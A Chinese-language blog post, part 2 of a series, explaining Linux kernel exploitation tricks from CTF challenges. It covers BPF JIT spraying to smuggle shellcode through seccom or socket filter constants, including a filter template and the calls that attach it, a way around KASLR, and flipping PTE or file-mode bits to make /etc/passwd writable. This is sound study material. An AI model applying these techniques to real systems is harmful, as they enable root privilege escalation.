CTF-style Tricks of Linux Kernel Exploitation - Part 2
- Part1: CTF-style Tricks of Linux Kernel Exploitation - Part 1
- Part2: CTF-style Tricks of Linux Kernel Exploitation - Part 2
這篇文章會繼續分析 CTF 中有哪些有趣的 Linux kernel exploit 技巧!
3. Control RIP
3.1 SECCON CTF 2021 - kone_gadget
參考: https://ptr-yudai.hatenablog.com/entry/2021/12/19/232158#Pwnable-365pts-kone_gadget
該題目在啟用 smap、smep 與關閉 KASLR 的形況下,提供 user space syscall 控 RIP 的 primitive,但是在 jmp 前所有 register 都會被清空。
SYSCALL_DEFINE1(seccon, unsigned long, rip)
{
asm volatile("xor %%edx, %%edx;"
"xor %%ebx, %%ebx;"
"xor %%ecx, %%ecx;"
"xor %%edi, %%edi;"
"xor %%esi, %%esi;"
"xor %%r8d, %%r8d;"
"xor %%r9d, %%r9d;"
"xor %%r10d, %%r10d;"
"xor %%r11d, %%r11d;"
"xor %%r12d, %%r12d;"
"xor %%r13d, %%r13d;"
"xor %%r14d, %%r14d;"
"xor %%r15d, %%r15d;"
"xor %%ebp, %%ebp;"
"xor %%esp, %%esp;"
"jmp %0;"
"ud2;"
: : "rax"(rip));
return 0;
}
Linux kernel 為了增加執行速度,會用 Just-In-Time (JIT) 的方式把 BPF bytecode 轉換成 native assembly code 來執行。除了直接呼叫 bpf syscall 建立一個 BPF program 外,kernel 中許多 feature 底層其實都有用到 BPF,像是用來檢查 syscall 合法性的 seccomp rule,
// kernel/seccomp.c
static struct seccomp_filter *seccomp_prepare_filter(/* ... */)
{
// [...]
ret = bpf_prog_create_from_user(&sfilter->prog, fprog,
seccomp_check_filter, save_orig);
// [...]
}
int bpf_prog_create_from_user(/* ... */)
{
// [...]
fp = bpf_prepare_filter(fp, trans);
// [...]
}
或者用來處理 packet 的 socket filter。
// net/core/filter.c
int sk_attach_filter(/* ... */)
{
struct bpf_prog *prog = __get_filter(fprog, sk);
// [...]
}
static struct bpf_prog *__get_filter(/* ... */)
{
// [...]
return bpf_prepare_filter(prog, NULL);
}
然而,這兩個機制並不是直接使用 BPF program,而是用功能相較侷限的 filter program。Filter program 能使用的 bytecode 比較少,都是比較基本的操作,如 load const 或是簡單的加減法運算。當 process 請求 attach filter program 到 process 或是 socket 時,kernel 會呼叫 bpf_prepare_filter()
來處理。該 function 會先檢查 filter program 的合法性,像是看是否有不在白名單內的 operation,或是否有除 0 的操作 [1] 等等。當檢查完後,bpf_migrate_filter()
[2] 會將 filter program 的 instructions 轉換成 BPF bytecode 的格式並做 JIT。
static struct bpf_prog *bpf_prepare_filter(/* ... */)
{
// [...]
err = bpf_check_classic(fp->insns, fp->len); // [1]
// [...]
fp = bpf_migrate_filter(fp); // [2]
// [...]
}
如果有稍微玩過 v8 exploit 應該對 JIT 不陌生,有一招利用方式就是透過 const value 在 JIT code 中構造 shellcode,並使用 related jmp instruction 把每個 shellcode 片段串起來,若要增加穩定度還可以先 spray NOPs。之後只要想辦法 overwrite JIT function 的 entry 到 JIT code 的中間,就可以在呼叫 JS Function 時執行到由 const 所構造的 shellcode,細節可以參考 mem2019 的 Dice CTF Memory Hole: Breaking V8 Heap Sandbox。
Linux kernel 的 BPF JIT code 也可以透過類似的方式來構造 shellcode,同時這也是作者的預期解法。Filter program 中 load const value 是透過 bytecode BPF_LD + BPF_K
來完成,而 JIT 完後的 x64 native instruction 則是 5 bytes 的 mov eax, XXXXX
。如果將 4 bytes 的 const value 控成 2 bytes 的 shellcode 加上 2 bytes 的 jmp
instruction,則每個 shellcode 片段可以執行 2 bytes。如果改用 mov bl, XX
(0xb3) instruction 來取代 jmp
,則可以優化到 3 bytes shellcode。
構造好的 filter program 會長得像:
struct sock_filter insns[] = {
// spraying NOPs
{.code = BPF_LD + BPF_K, .k = 0xb3909090},
{.code = BPF_LD + BPF_K, .k = 0xb3909090},
// [...]
// kernel shellcode
{.code = BPF_LD + BPF_K, .k = (0xb3 << 24) + SHELLCODE_1 /* 3 bytes shellcode */},
{.code = BPF_LD + BPF_K, .k = (0xb3 << 24) + SHELLCODE_2 /* 3 bytes shellcode */},
// [...]
// return allow
{.code = BPF_RET + BPF_K, .k = SECCOMP_RET_ALLOW}
};
struct sock_fprog sock_fprog = {
.len = sizeof(insns) / sizeof(insns[0]),
.filter = insns,
};
接下來可以像作者一樣用 prctl(PR_SET_SECCOMP, SECCOMP_MODE_FILTER)
[1] attach program 到 process,或是 Balsn 的 writeup 使用 setsockopt(SO_ATTACH_FILTER)
[2] 來 attach program 到 socket fd。
prctl(PR_SET_SECCOMP, SECCOMP_MODE_FILTER, &sock_fprog); // [1]
setsockopt(fd, SOL_SOCKET, SO_ATTACH_FILTER, &sock_fprog, sizeof(sock_fprog)); // [2]
從 kernel function bpf_jit_alloc_exec()
可以知道 BPF 的 JIT code 會分配在 module mapping space,
void *__weak bpf_jit_alloc_exec(unsigned long size)
{
return module_alloc(size);
}
而參考 Linux kernel x64 memory layout documentation 可以知道 module mapping 的範圍。
# [...]
ffffffffa0000000 |-1536 MB | fffffffffeffffff | 1520 MB | module mapping space
# [...]
因為題目沒有 KASLR,JIT code 每次都會落在 0xffffffffc0000000
的 page 上,因此可以精準的控制 RIP 到 JIT code 的中間來提權。此方式的成功機率取決於是否能執行到原本 JIT 出來的 instruction 中間,但是在每次 allocate JIT code memory 時開頭都會隨機加上一小段 offset [3],所以還是有一定的機率會失敗。
struct bpf_binary_header *bpf_jit_binary_pack_alloc(/* ... */)
{
// [...]
start = get_random_u32_below(hole) & ~(alignment - 1); // [3]
// [...]
}
假設 0xffffffffc0000690
為 load const instruction 的開頭,我們需要控制 RIP 到 5 bytes 的 instruction mov eax, XXX
的中間,也就是 offset 是 1、2、3 或 4 時才會成功,因此成功機率大概只有 80% 左右。
pwndbg> x/i 0xffffffffc0000690 + 0
0xffffffffc0000690: mov eax,0xb3909090
pwndbg> x/i 0xffffffffc0000690 + 1
0xffffffffc0000691: nop
pwndbg> x/i 0xffffffffc0000690 + 2
0xffffffffc0000692: nop
pwndbg> x/i 0xffffffffc0000690 + 3
0xffffffffc0000693: nop
pwndbg> x/i 0xffffffffc0000690 + 4
0xffffffffc0000694: mov bl,0xb8
那在 KASLR 啟用的情況下還能使用這個技巧嗎?重新分析一下 module_alloc()
的實作,該 memory region 的分配實際上是從 MODULES_VADDR
(0xffffffffc0000000) 加上 get_module_load_offset()
開始 [4]:
void *module_alloc(unsigned long size)
{
// [...]
p = __vmalloc_node_range(size, MODULE_ALIGN,
MODULES_VADDR + get_module_load_offset(), // [4]
MODULES_END, gfp_mask, PAGE_KERNEL,
VM_FLUSH_RESET_PERMS | VM_DEFER_KMEMLEAK,
NUMA_NO_NODE, __builtin_return_address(0));
// [...]
}
get_module_load_offset()
在沒有 KASLR 的情況下不會初始化,因此值為 0 [5],但如果啟用 KASLR,會隨機挑 1 到 1024 個 PAGE 作為 module mapping base address 的 offset [6]。
static unsigned long int get_module_load_offset(void)
{
if (kaslr_enabled()) { // [5]
// [...]
if (module_load_offset == 0)
module_load_offset =
get_random_u32_inclusive(1, 1024) * PAGE_SIZE; // [6]
// [...]
}
return module_load_offset;
}
也就是說 module base 最大的 offset 會是 4 MB (1024 * 0x1000)。因此理論上,如果能 spraying 超過 4 MB 的 JIT code,將 RIP 控在 overlap 的 region 就可以確保執行到有 JIT code 的 address。
實務上,kernelCTF 有許多 exploit 都使用該技巧,像是 CVE-2023-3776、CVE-2023-4207、CVE-2023-4206、CVE-2023-3609、CVE-2023-4208 等等。
Fun fact: 這些 kernelCTF slot 的 owner 都是 STARLabs 的 Billy,同時他也是當初想到這個利用技巧的人 😆
4. Others
雖然有些題目不是直接提供任意位置控一個 bit 或 byte 的 primitive,但是仍然在利用條件很侷限的情況下,用夠通用的做法來 exploit,一樣非常有趣。這些題目的分析都會紀錄在這個 section。
4.1 Heap-relative 1-byte OOBW - AIS3 EOF CTF Final 2022: oneshot
題目允許使用者申請一塊指定大小的 kmalloc()
chunk,並且透過 race condition 可以做到 heap object 1 byte out-of-bounds write。此題的 exploit 技巧參考 STAR Labs 在 HITCON CMT 2021 發表的 talk The Great Escape - A Case Study of VM Escape and EoP Vulnerabilities,先開啟 O_RDONLY 的高權限檔案如 “/etc/passwd”,之後 mmap 該檔案並 spray 只有一個 PTE 的 page map,再透過題目給的 primitive 分配一塊大小為 0x1000 的 chunk,並 OOB write 將 index 0 的 PTE 的 R/W bit 寫成 1,這樣原本唯讀的 “/etc/passwd” 就變得可寫。
4.2 Heap-relative 1-bit Flip - zer0pts CTF 2023: flipper
參考: https://gist.github.com/leesh3288/5306faa8d0e2deeda81608361eb0b2f2
提供 heap object 相對 offset 的 flip bit primitive,一樣可以 flip PTE 的 R/W bit 來解。作者的預期解是透過 spray struct cred
與 io_uring 的功能來解,而其他的解法包含:
- Flip bit in
file->f_mode
toFMODE_WRITE
and write RO file - 需要注意vfs_write()
會檢查file->f_mode & FMODE_CAN_WRITE
,因此要用aio_write()
或mmap()
來寫 - Flip a pointer or refcount for UAF - 走常見的 kernel exploit 套路
- Flip a bit in length field - 走常見的 kernel exploit 套路